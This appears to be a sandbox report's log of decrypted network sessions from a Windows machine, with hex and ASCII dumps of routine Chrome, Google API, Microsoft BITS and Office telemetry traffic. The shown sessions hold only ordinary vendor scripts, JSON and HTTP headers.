2024-10-28 17:43:13 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 67 65 5c 75 30 30 33 64 66 65 28 29 29 3b 72 65 74 75 72 6e 20 67 65 7d 3b 5c 6e 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 68 65 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 69 65 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 69 65 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 Data Ascii: 8000e\u003d\u003d\u003dvoid 0\u0026\u0026(ge\u003dfe());return ge};\n_.je\u003dfunction(a){const b\u003d_.he();return new _.ie(b?b.createScriptURL(a):a)};_.ke\u003dfunction(a){if(a instanceof _.ie)return a.i;throw Error(\"F\");};_.me\u003dfunction(a){if
2024-10-28 17:43:13 UTC	1378	IN	Data Raw: 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 69 66 28 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3b 65 6c 73 65 7b 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 3b 76 61 72 20 64 5c 75 30 30 33 64 62 7c 7c 63 3b 61 5c 75 30 30 33 64 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c Data Ascii: dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;if(c.getElementsByClassName)a\u003dc.getElementsByClassName(a)[0];else{c\u003ddocument;var d\u003db\|\|c;a\u003dd.querySelectorAl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	142.250.184.196	443	6004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:12 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 17:43:13 UTC	957	IN	HTTP/1.1 200 OK Version: 689118238 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 28 Oct 2024 17:43:13 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-28 17:43:13 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-28 17:43:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49724	142.250.186.174	443	6004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:17 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 17:43:18 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sun, 27 Oct 2024 20:35:00 GMT Expires: Mon, 27 Oct 2025 20:35:00 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 76098 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-28 17:43:18 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-28 17:43:18 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-10-28 17:43:18 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-28 17:43:18 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-28 17:43:18 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-28 17:43:18 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-10-28 17:43:18 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-28 17:43:18 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-10-28 17:43:18 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-10-28 17:43:18 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49722	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-28 17:43:18 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=155490 Date: Mon, 28 Oct 2024 17:43:18 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	63428	142.250.184.238	443	6004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:19 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 17:43:19 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 31 33 37 33 39 35 34 30 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730137395402",null,null,null,
2024-10-28 17:43:19 UTC	936	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=VCsSf6NPcugzpQlMIA286yID6NYboXOocyXB5I3DIYck_HzwMeEIN44ZcPQ-0u0HOAQ7JAj0G5fzXhcd9wykfocUs6h6BNRVSmDo564-11R_MHanF59nwULqBB8aQJkCVTCros2cM7CEA3XTE6FoNdk4TPb_LwsdYCuKXCyqG95RLMR_UA; expires=Tue, 29-Apr-2025 17:43:19 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 28 Oct 2024 17:43:19 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 28 Oct 2024 17:43:19 GMT Connection: close Transfer-Encoding: chunked
2024-10-28 17:43:19 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-28 17:43:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	63429	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:19 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:19 UTC	540	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:19 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Sun, 27 Oct 2024 10:35:44 GMT ETag: "0x8DCF6731CF80310" x-ms-request-id: 23ac3994-301e-0051-6594-2838bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174319Z-r197bdfb6b46kmj4701qkq602400000004f000000000540u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
